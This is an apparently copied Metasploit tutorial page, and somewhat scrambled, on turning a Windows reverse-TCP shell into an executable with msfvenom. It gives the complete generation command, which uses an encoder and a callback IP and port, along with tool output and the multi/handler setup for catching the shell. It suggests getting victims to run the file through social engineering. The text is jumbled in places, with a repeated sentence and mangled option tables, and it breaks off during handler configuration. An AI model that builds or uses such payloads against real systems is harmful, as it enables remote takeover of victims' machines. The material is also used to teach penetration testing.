Binary Payloads a11y.text Binary Payloads It seems like Metasploit is full of interesting and useful features. One of these is the ability to generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering; if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software. Let's look at a quick example of how to do this. We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this, we will use the command line tool msfvenom. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the -f exe option. We'II generate a Windows reverse shell executable that will connect back to us on port 31337. root@kali : ~ # msfvenom --payload-options -p windows/shell/reverse tcp Options for payload/windows/shell/reverse_tcp:

Name: Windows Command Shell, Reverse TCP Stager

Module: payload/windows/shell/reverse tcp

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 281

Rank: Normal

Provided by:

spoonm

sf

hdm

skape

Basic options: Current Setting Required Description Name Exit technique (Accepted: ", seh, thread, process, none) EXITFUNC process yes The listen address LHOST yes LPORT 4444 yes The listen port Description: Spawn a piped command shell (staged). Connect back to the attacker root@kali : ~ # msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST = 172.16 .104.130 LPORT = 31337 -b "\x00 " -e x86/shikata_ga_nai -f exe -o /tmp/1.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) x86/shikata_ga_nai chosen with final size 326 Payload size: 326 bytes for MS Windows Now we see we have a Windows executable ready to go. Now, we will use

Saved as: /tmp/1.exe root@kali : ~ # file /tmp/1.exe /tmp/1.exe: PE32 executable (GUI) Intel 80386, for MS Windows Now we see we have a Windows executable ready to go. Now, we will use multi/handler , which is a stub that handles exploits launched outside of the framework. root@kali : ~ # msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > show options

Module options:

Name Current Setting Required Description

Exploit target:
Id Name
0 Wildcard Target When using the exploit/multi/handler module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated. msf
exploit(handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
EXITFUNC thread yes Exit technique: seh, thread, process LHOST yes The local address
LPORT 4444 yes The local port



